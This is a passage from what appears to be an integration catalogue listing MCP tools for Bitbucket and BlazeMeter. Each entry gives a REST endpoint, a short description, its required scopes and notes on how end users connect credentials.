/repositories/{workspace}/{repo_slug}/hooks/{uid} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/hooks/{uid}. Scopes: webhook. bitbucket_put_repositories_by_workspace_by_repo_slug_override_settings (write) — Put repositories override settings by workspace, repo slug via PUT /repositories/{workspace}/{repo_slug}/override-settings PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/override-settings. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_permissions_config_groups_by_group_slug (write) — Put repositories permissions config groups by workspace, repo slug, group slug via PUT /repositories/{workspace}/{repo_slug}/permissions-config/groups/{group_slug} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/groups/{group_slug}. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_permissions_config_users_by_selected_user_id (write) — Put repositories permissions config users by workspace, repo slug, selected user id via PUT /repositories/{workspace}/{repo_slug}/permissions-config/users/{selected_user_id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/users/{selected_user_id}. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config (write) — Update Repository Pipeline Config via PUT /repositories/{workspace}/{repo_slug}/pipelines_config PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config. Scopes: repository:admin. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config_build_number (write) — Update Repository Build Number via PUT /repositories/{workspace}/{repo_slug}/pipelines_config/build_number PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/build_number. Scopes: pipeline:variable. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config_runners_by_runner_uuid (write) — Update Repository Runner via PUT /repositories/{workspace}/{repo_slug}/pipelines-config/runners/{runner_uuid} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/runners/{runner_uuid}. Scopes: runner:write. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config_schedules_by_schedule_uuid (write) — Update Repository Pipeline Schedule via PUT /repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid}. Scopes: pipeline:write. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_key_pair (write) — Update Repository Pipeline Key Pair via PUT /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/key_pair PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/key_pair. Scopes: pipeline:variable. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_known_hosts_by_known_host_uuid (write) — Update Repository Pipeline Known Host via PUT /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts/{known_host_uuid} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts/{known_host_uuid}. Scopes: pipeline:variable. bitbucket_put_repositories_by_workspace_by_repo_slug_pipelines_config_variables_by_variable_uuid (write) — Update Repository Pipeline Variable via PUT /repositories/{workspace}/{repo_slug}/pipelines_config/variables/{variable_uuid} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_put_repositories_by_workspace_by_repo_slug_properties_by_app_key_by_property_name (write) — Update Repository Hosted Property Value via PUT /repositories/{workspace}/{repo_slug}/properties/{app_key}/{property_name} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_put_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id (write) — Put repositories pull requests by workspace, repo slug, pull request id via PUT /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}. Scopes: pullrequest:write. bitbucket_put_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments_by_comment_id (write) — Put repositories pull requests comments by workspace, repo slug, pull request id, comment id via PUT /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}. Scopes: pullrequest. bitbucket_put_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_tasks_by_task_id (write) — Put repositories pull requests tasks by workspace, repo slug, pull request id, task id via PUT /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks/{task_id} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks/{task_id}. Scopes: pullrequest. bitbucket_put_repositories_by_workspace_by_repo_slug_pullrequests_by_pullrequest_id_properties_by_app_key_by_property_name (write) — Update Pull Request Hosted Property Value via PUT /repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name} PUT /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_put_snippets_by_workspace_by_encoded_id (write) — Put snippets by workspace, encoded id via PUT /snippets/{workspace}/{encoded_id} PUT /api/v1/bitbucket/snippets/{workspace}/{encoded_id}. Scopes: snippet:write. bitbucket_put_snippets_by_workspace_by_encoded_id_by_node_id (write) — Put snippets by workspace, encoded id, node id via PUT /snippets/{workspace}/{encoded_id}/{node_id} PUT /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/{node_id}. Scopes: snippet:write. bitbucket_put_snippets_by_workspace_by_encoded_id_comments_by_comment_id (write) — Put snippets comments by workspace, encoded id, comment id via PUT /snippets/{workspace}/{encoded_id}/comments/{comment_id} PUT /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/comments/{comment_id}. Scopes: snippet. bitbucket_put_snippets_by_workspace_by_encoded_id_watch (write) — Put snippets watch by workspace, encoded id via PUT /snippets/{workspace}/{encoded_id}/watch PUT /api/v1/bitbucket/snippets/{workspace}/{encoded_id}/watch. Scopes: snippet:write. bitbucket_put_teams_by_username_pipelines_config_variables_by_variable_uuid (write) — Update Pipeline Variable For Team via PUT /teams/{username}/pipelines_config/variables/{variable_uuid} PUT /api/v1/bitbucket/teams/{username}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_put_users_by_selected_user_pipelines_config_variables_by_variable_uuid (write) — Update Pipeline Variable For User via PUT /users/{selected_user}/pipelines_config/variables/{variable_uuid} PUT /api/v1/bitbucket/users/{selected_user}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_put_users_by_selected_user_properties_by_app_key_by_property_name (write) — Update User Hosted Property Value via PUT /users/{selected_user}/properties/{app_key}/{property_name} PUT /api/v1/bitbucket/users/{selected_user}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_put_users_by_selected_user_ssh_keys_by_key_id (write) — Put users ssh keys by selected user, key id via PUT /users/{selected_user}/ssh-keys/{key_id} PUT /api/v1/bitbucket/users/{selected_user}/ssh-keys/{key_id}. Scopes: account:write. bitbucket_put_workspaces_by_workspace_hooks_by_uid (write) — Put workspaces hooks by workspace, uid via PUT /workspaces/{workspace}/hooks/{uid} PUT /api/v1/bitbucket/workspaces/{workspace}/hooks/{uid}. Scopes: webhook. bitbucket_put_workspaces_by_workspace_pipelines_config_runners_by_runner_uuid (write) — Update Workspace Runner via PUT /workspaces/{workspace}/pipelines-config/runners/{runner_uuid} PUT /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/runners/{runner_uuid}. Scopes: runner:write. bitbucket_put_workspaces_by_workspace_pipelines_config_variables_by_variable_uuid (write) — Update Pipeline Variable For Workspace via PUT /workspaces/{workspace}/pipelines-config/variables/{variable_uuid} PUT /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_put_workspaces_by_workspace_projects_by_project_key (write) — Put workspaces projects by workspace, project key via PUT /workspaces/{workspace}/projects/{project_key} PUT /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}. Scopes: project:admin. bitbucket_put_workspaces_by_workspace_projects_by_project_key_branching_model_settings (write) — Put workspaces projects branching model settings by workspace, project key via PUT /workspaces/{workspace}/projects/{project_key}/branching-model/settings PUT /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/branching-model/settings. Scopes: project:admin. bitbucket_put_workspaces_by_workspace_projects_by_project_key_default_reviewers_by_selected_user (write) — Put workspaces projects default reviewers by workspace, project key, selected user via PUT /workspaces/{workspace}/projects/{project_key}/default-reviewers/{selected_user} PUT /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/default-reviewers/{selected_user}. Scopes: project:admin. bitbucket_put_workspaces_by_workspace_projects_by_project_key_permissions_config_groups_by_group_slug (write) — Put workspaces projects permissions config groups by workspace, project key, group slug via PUT /workspaces/{workspace}/projects/{project_key}/permissions-config/groups/{group_slug} PUT /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/groups/{group_slug}. Scopes: project:admin. bitbucket_put_workspaces_by_workspace_projects_by_project_key_permissions_config_users_by_selected_user_id (write) — Put workspaces projects permissions config users by workspace, project key, selected user id via PUT /workspaces/{workspace}/projects/{project_key}/permissions-config/users/{selected_user_id} PUT /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/users/{selected_user_id}. Scopes: project:admin. ================================================================================ ## BlazeMeter URL: https://www.agenticfabriq.com/integrations/blazemeter Section: Integrated Tools BlazeMeter — 172 MCP tools Provider key: blazemeter. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. blazemeter_delete_api_v1_tags_by_tagid (write, destructive) — To delete a tag, you need to know the tag identifier. The sample code uses a tagId of 888 . Use the actual ID value of your tag. via DELETE https://mock.blazemeter.com/api/v1/tags/{tagId} DELETE /api/v1/blazemeter/api/v1/tags/{tagId}. Scopes: api. blazemeter_delete_api_v1_workspaces_by_workspaceid_assets_by_assetid (write, destructive) — To delete a Data Model from your workspace, you need to know your workspace identifier and the Data Model identifier. The sample code uses a dataModelId of 09af09af-09af-09af-09af-09af09af09af and a workspaceId of 123456 . Use the actual ID value of your workspace. via DELETE https://ar.blazemeter.com/api/v1/workspaces/{workspaceId}/assets/{assetId} DELETE /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/assets/{assetId}. Scopes: api. blazemeter_delete_api_v1_workspaces_by_workspaceid_service_mock_templates_by_servicemocktemplateid (write, destructive) — To delete a virtual service template, you need to know your workspace identifier and the virtual service template identifier. The sample code uses a serviceMockTemplateId of 8 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service template. via DELETE https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId} DELETE /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId}. Scopes: api. blazemeter_delete_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid (write, destructive) — To delete a virtual service, you need to know your workspace identifier and the virtual service identifier. The sample code uses a servicevirtualId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via DELETE https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId} DELETE /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}. Scopes: api. blazemeter_delete_api_v1_workspaces_by_workspaceid_transactions_by_transactionid (write, destructive) — To delete a transaction, you need to know the transaction identifier and your workspace identifier. The sample code uses a transactionId of 888 and a workspaceId of 123456 . Use the actual ID value of your transaction. via DELETE https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions/{transactionId} DELETE /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions/{transactionId}. Scopes: api. blazemeter_delete_api_v4_analyzer_by_analyzerid (write, destructive) — Delete log analysis via DELETE https://a.blazemeter.com/api/v4/analyzer/{analyzerId} DELETE /api/v1/blazemeter/api/v4/analyzer/{analyzerId}. Scopes: api. blazemeter_delete_api_v4_folders_by_folderid (write, destructive) — Delete a shared folder via DELETE https://a.blazemeter.com/api/v4/folders/{folderId} DELETE /api/v1/blazemeter/api/v4/folders/{folderId}. Scopes: api. blazemeter_delete_api_v4_masters_by_masterid_public_token (write, destructive) — Delete a public token via DELETE https://a.blazemeter.com/api/v4/masters/{masterId}/public-token DELETE /api/v1/blazemeter/api/v4/masters/{masterId}/public-token. Scopes: api. blazemeter_delete_api_v4_multi_tests_by_multitestid (write, destructive) — Delete a test suite via DELETE https://a.blazemeter.com/api/v4/multi-tests/{multitestId} DELETE /api/v1/blazemeter/api/v4/multi-tests/{multitestId}. Scopes: api. blazemeter_delete_api_v4_private_locations_by_harborid (write, destructive) — Delete a private location via DELETE https://a.blazemeter.com/api/v4/private-locations/{harborId} DELETE /api/v1/blazemeter/api/v4/private-locations/{harborId}. Scopes: api. blazemeter_delete_api_v4_private_locations_by_harborid_servers_by_shipid (write, destructive) — Delete an agent via DELETE https://a.blazemeter.com/api/v4/private-locations/{harborId}/servers/{shipId} DELETE /api/v1/blazemeter/api/v4/private-locations/{harborId}/servers/{shipId}. Scopes: api. blazemeter_delete_api_v4_private_locations_by_harborid_workspaces_by_workspaceid (write, destructive) — Delete a workspace in private location via DELETE https://a.blazemeter.com/api/v4/private-locations/{harborId}/workspaces/{workspaceId} DELETE /api/v1/blazemeter/api/v4/private-locations/{harborId}/workspaces/{workspaceId}. Scopes: api. blazemeter_delete_api_v4_projects_by_projectid (write, destructive) — Delete a project via DELETE https://a.blazemeter.com/api/v4/projects/{projectId} DELETE /api/v1/blazemeter/api/v4/projects/{projectId}. Scopes: api. blazemeter_delete_api_v4_schedules_by_scheduleid (write, destructive) — Delete a schedule via DELETE https://a.blazemeter.com/api/v4/schedules/{scheduleId} DELETE /api/v1/blazemeter/api/v4/schedules/{scheduleId}. Scopes: api. blazemeter_delete_api_v4_tests_by_testid (write, destructive) — Delete a test via DELETE https://a.blazemeter.com/api/v4/tests/{testId} DELETE /api/v1/blazemeter/api/v4/tests/{testId}. Scopes: api. blazemeter_delete_api_v4_workspaces_by_workspaceid_tags_by_tagid (write, destructive) — To delete a tag, you need to know the tag identifier. The sample code uses a tagId of 888 and a workspaceId of 123456 . Use the actual ID value of your tag and workspace. via DELETE https://a.blazemeter.com/api/v4/workspaces/{workspaceId}/tags/{tagId} DELETE /api/v1/blazemeter/api/v4/workspaces/{workspaceId}/tags/{tagId}. Scopes: api. blazemeter_get_api_v1_generator_cardissuers (read) — When creating a Data Model to generate test data, it is helpful to view the list of card issuers. Alternatively, you can also use Seed lists and Data Generator functions to generate test data, or a combination of all three. via GET https://tdm.blazemeter.com/api/v1/generator/cardIssuers GET /api/v1/blazemeter/api/v1/generator/cardIssuers. Scopes: api. blazemeter_get_api_v1_generator_functions (read) — When creating a Data Model to generate test data, it is helpful to view the list of Data Generator functions. Alternatively, you can also use Seed lists and Card issuers to generate test data, or a combination of all three. via GET https://tdm.blazemeter.com/api/v1/generator/functions GET /api/v1/blazemeter/api/v1/generator/functions. Scopes: api. blazemeter_get_api_v1_generator_seedlists (read) — When creating a Data Model to generate test data, it is helpful to view the list of seed lists. Seed lists are provided files that contain sample text such as names of countries, persons, streets, banks, months and weekdays, and so on, that you can use as test data. Alternatively, you can also use Data Generator functions and Card issuers functions to generate test data, or a combination of all three. via GET https://tdm.blazemeter.com/api/v1/generator/seedlists GET /api/v1/blazemeter/api/v1/generator/seedlists. Scopes: api. blazemeter_get_api_v1_tags (read) — You can use tags when you search and filter transactions or Services. via GET https://mock.blazemeter.com/api/v1/tags GET /api/v1/blazemeter/api/v1/tags. Scopes: api. blazemeter_get_api_v1_tags_by_tagid (read) — To get a tag, you need to know either the tag identifier or its name. The sample code uses a tagId of 888 . Use the actual ID values of your tag. via GET https://mock.blazemeter.com/api/v1/tags/{tagId} GET /api/v1/blazemeter/api/v1/tags/{tagId}. Scopes: api. blazemeter_get_api_v1_tags_name_by_name (read) — To get a tag, you need to know either the tag name or its identifier. The sample code uses a name of pay . Use the actual name of your tag. via GET https://mock.blazemeter.com/api/v1/tags/name/{name} GET /api/v1/blazemeter/api/v1/tags/name/{name}. Scopes: api. blazemeter_get_api_v1_user (read) — You can get information about the currently logged-in user, such as name, email address, account and workspace identifiers, roles, and URLs. via GET https://mock.blazemeter.com/api/v1/user GET /api/v1/blazemeter/api/v1/user. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_assets (read) — To get details about all Data Models, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID values of your workspace. via GET https://ar.blazemeter.com/api/v1/workspaces/{workspaceId}/assets GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/assets. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_datamodels_by_datamodelid (read) — To get details about an existing Data Model, you need to know your workspace identifier and the Data Model identifier. The sample code uses a dataModelId of 55 and a workspaceId of 123456 . Use the actual ID values of your workspace and Data Model. via GET https://tdm.blazemeter.com/api/v1/workspaces/{workspaceId}/datamodels/{datamodelId} GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/datamodels/{datamodelId}. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_locations (read) — To get the location of your workspace, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/locations GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/locations. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mock_templates (read) — To get all virtual service templates, you need to know your workspace identifier and the service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mock-templates GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mock-templates. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mock_templates_by_servicemocktemplateid (read) — To get a virtual service template, you need to know your workspace identifier and the virtual service template identifier. The sample code uses a serviceMockTemplateId of 8 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service template. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId} GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mock-templates/{servicemocktemplateId}. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mocks (read) — To get all virtual services, you need to know your workspace identifier and the Service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and Service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid (read) — To get a virtual service, you need to know your workspace identifier and the virtual service identifier. The sample code uses a servicevirtualId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId} GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_configure (read) — To configure or reconfigure an existing virtual service, you need to know your workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/configure GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/configure. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_deploy (read) — Use this request to deploy a container based on the virtual service if it has not already been deployed. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/deploy GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/deploy. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_log (read) — To request a log snapshot of a virtual service, you need to know your workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/log GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/log. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_service_mocks_by_servicemockid_stop (read) — To stop a virtual service, you need to know your workspace identifier and the virtual service identifier. The sample code uses a serviceMockId of 1234 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/stop GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/service-mocks/{servicemockId}/stop. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_services (read) — To get all services of a workspace, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID value of your workspace. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/services GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/services. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_services_by_serviceid (read) — To get a service of your workspace, you need to know your workspace identifier and the Service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and Service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/services/{serviceId} GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/services/{serviceId}. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_transactions (read) — To get all transactions within a Service, you need to know your workspace identifier and the service identifier. The sample code uses a serviceId of 123 and a workspaceId of 123456 . Use the actual ID values of your workspace and Service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_transactions_by_transactionid (read) — To get a transaction, you need to know your workspace identifier and the transaction identifier. The sample code uses a transactionId of 77 and a workspaceId of 123456 . Use the actual ID values of your workspace and virtual service template. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions/{transactionId} GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions/{transactionId}. Scopes: api. blazemeter_get_api_v1_workspaces_by_workspaceid_transactions_conflicts (read) — To get all conflicting transactions from a service, you need to know your workspace identifier. The sample code uses a workspaceId of 123456 . Use the actual ID values of your workspace and service. via GET https://mock.blazemeter.com/api/v1/workspaces/{workspaceId}/transactions/conflicts GET /api/v1/blazemeter/api/v1/workspaces/{workspaceId}/transactions/conflicts. Scopes: api. blazemeter_get_api_v4_accounts_by_accountid_functionalities (read) — Account functionalities list via GET https://a.blazemeter.com/api/v4/accounts/{accountId}/functionalities GET /api/v1/blazemeter/api/v4/accounts/{accountId}/functionalities. Scopes: api. blazemeter_get_api_v4_accounts_by_accountid_invitations (read) — All timestamps are in UNIX Epoch time . via GET https://a.blazemeter.com/api/v4/accounts/{accountId}/invitations GET /api/v1/blazemeter/api/v4/accounts/{accountId}/invitations. Scopes: api. blazemeter_get_api_v4_accounts_by_accountid_users (read) — Account user list via GET https://a.blazemeter.com/api/v4/accounts/{accountId}/users GET /api/v1/blazemeter/api/v4/accounts/{accountId}/users. Scopes: api. blazemeter_get_api_v4_accounts_by_accountid_users_with_permissions (read) — List users with permissions (GET /api/v4/accounts/{accountId}/users-with-permissions) via GET https://a.blazemeter.com/api/v4/accounts/{accountId}/users-with-permissions GET /api/v1/blazemeter/api/v4/accounts/{accountId}/users-with-permissions. Scopes: api. blazemeter_get_api_v4_accounts_by_accountid_users_with_permissions_diff (read) — List users with permissions (GET /api/v4/accounts/{accountId}/users-with-permissions/diff) via GET https://a.blazemeter.com/api/v4/accounts/{accountId}/users-with-permissions/diff GET /api/v1/blazemeter/api/v4/accounts/{accountId}/users-with-permissions/diff. Scopes: api. blazemeter_get_api_v4_accounts_by_accountid_utilization_report (read) — Account engine utilization report via GET https://a.blazemeter.com/api/v4/accounts/{accountId}/utilization-report GET /api/v1/blazemeter/api/v4/accounts/{accountId}/utilization-report. Scopes: api. blazemeter_get_api_v4_analyzer_by_analyzerid (read) — Track log analysis progress via GET https://a.blazemeter.com/api/v4/analyzer/{analyzerId} GET /api/v1/blazemeter/api/v4/analyzer/{analyzerId}. Scopes: api. blazemeter_get_api_v4_collections_by_collectionid_s3_sign (read) — To upload or update an asset file, first get a signed URL , and then use it to upload the file . via GET https://a.blazemeter.com/api/v4/collections/{collectionId}/s3/sign GET /api/v1/blazemeter/api/v4/collections/{collectionId}/s3/sign. Scopes: api. blazemeter_get_api_v4_folders (read) — List shared folders via GET https://a.blazemeter.com/api/v4/folders GET /api/v1/blazemeter/api/v4/folders. Scopes: api. blazemeter_get_api_v4_folders_by_folderid (read) — Shared folder details via GET https://a.blazemeter.com/api/v4/folders/{folderId} GET /api/v1/blazemeter/api/v4/folders/{folderId}. Scopes: api. blazemeter_get_api_v4_folders_by_folderid_files (read) — List shared folder files via GET https://a.blazemeter.com/api/v4/folders/{folderId}/files GET /api/v1/blazemeter/api/v4/folders/{folderId}/files. Scopes: api. blazemeter_get_api_v4_folders_by_folderid_s3_sign (read) — To upload or update an asset file, first get a signed URL , and then use it to upload the file . via GET https://a.blazemeter.com/api/v4/folders/{folderId}/s3/sign GET /api/v1/blazemeter/api/v4/folders/{folderId}/s3/sign. Scopes: api. blazemeter_get_api_v4_masters (read) — List masters via GET https://a.blazemeter.com/api/v4/masters GET /api/v1/blazemeter/api/v4/masters. Scopes: api. blazemeter_get_api_v4_masters_by_masterid (read) — Master details via GET https://a.blazemeter.com/api/v4/masters/{masterId} GET /api/v1/blazemeter/api/v4/masters/{masterId}. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_kpi_values (read) — To draw graphs of key performance indicators (KPIs), first determine which KPIs are available and then retrieve the details for each KPI . via GET https://a.blazemeter.com/api/v4/masters/{masterId}/kpi-values GET /api/v1/blazemeter/api/v4/masters/{masterId}/kpi-values. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_aggregatereport_data (read) — For the Summary Statistics , Requests Statistics , Error Statistics , Threshold Statistics and Time-Series Data you have options to narrow down the view of data to 1 or more scenarios, 1 or more locations, and/or a time range. via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/aggregatereport/data GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/aggregatereport/data. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_default_summary (read) — Summary statistics via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/default/summary GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/default/summary. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_errorsreport_data (read) — Error statistics via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/errorsreport/data GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/errorsreport/data. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_functional_groups (read) — API Functional summary statistics via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/functional/groups GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/functional/groups. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_functional_groups_by_groupid (read) — API Functional full report via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/functional/groups/{groupId} GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/functional/groups/{groupId}. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_thresholds (read) — Thresholds statistics via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/thresholds GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/thresholds. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_reports_timeline_kpis (read) — To draw graphs of key performance indicators (KPIs), first determine which KPIs are available and then retrieve the details for each KPI . via GET https://a.blazemeter.com/api/v4/masters/{masterId}/reports/timeline/kpis GET /api/v1/blazemeter/api/v4/masters/{masterId}/reports/timeline/kpis. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_status (read) — Track status of a test run via GET https://a.blazemeter.com/api/v4/masters/{masterId}/status GET /api/v1/blazemeter/api/v4/masters/{masterId}/status. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_test_suite_summary (read) — Test suite summary via GET https://a.blazemeter.com/api/v4/masters/{masterId}/test-suite-summary GET /api/v1/blazemeter/api/v4/masters/{masterId}/test-suite-summary. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_xbt_scenarios_summary (read) — GUI Functional scenarios summary via GET https://a.blazemeter.com/api/v4/masters/{masterId}/xbt-scenarios-summary GET /api/v1/blazemeter/api/v4/masters/{masterId}/xbt-scenarios-summary. Scopes: api. blazemeter_get_api_v4_masters_by_masterid_xbt_summary (read) — GUI Functional summary statistics via GET https://a.blazemeter.com/api/v4/masters/{masterId}/xbt-summary GET /api/v1/blazemeter/api/v4/masters/{masterId}/xbt-summary. Scopes: api. blazemeter_get_api_v4_multi_tests (read) — List multi-tests via GET https://a.blazemeter.com/api/v4/multi-tests GET 